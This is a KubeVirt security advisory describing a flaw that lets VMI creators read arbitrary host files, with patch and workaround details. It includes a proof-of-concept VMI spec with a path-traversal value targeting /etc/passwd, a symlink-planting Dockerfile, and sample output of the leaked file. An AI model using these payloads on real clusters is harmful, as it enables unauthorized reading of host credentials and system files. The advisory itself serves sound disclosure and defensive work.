GHSA-qv98-3369-g364

### Impact

Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:

1. Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are: `spec.domain.firmware.kernelBoot.container.kernelPath`, `spec.domain.firmware.kernelBoot.container.initrdPath` as well as `spec.volumes[*].containerDisk.path`.

Example:

```yaml apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1) kind: VirtualMachineInstance metadata: name: vmi-fedora spec: domain: devices: disks: - disk: bus: virtio name: containerdisk - disk: bus: virtio name: cloudinitdisk - disk: bus: virtio name: containerdisk1 rng: {} resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) name: containerdisk - containerDisk: image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0) path: test3/../../../../../../../../etc/passwd name: containerdisk1 - cloudInitNoCloud: userData: | #!/bin/sh echo 'just something to make cirros happy' name: cloudinitdisk ```

2. Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:

```Dockerfile FROM <anybase> RUN mkdir -p /etc/ && touch /etc/passwd RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img ```

3. KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.

In all three cases it is then possible to at lest read any host file:

``` $ sudo cat /dev/vdc root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin [...] ```

### Patches

KubeVirt 0.55.1 provides patches to fix the vulnerability.

### Workarounds

* Ensure that the `HotplugVolumes` feature-gate is disabled * ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that `spec.domain.firmware.kernelBoot` is not used on VirtualMachineInstances.| * Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).

### References

Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm

### For more information

For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:

* https://github.com/kubevirt/kubevirt/pull/8198 * https://github.com/kubevirt/kubevirt/pull/8268 ### Credits Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google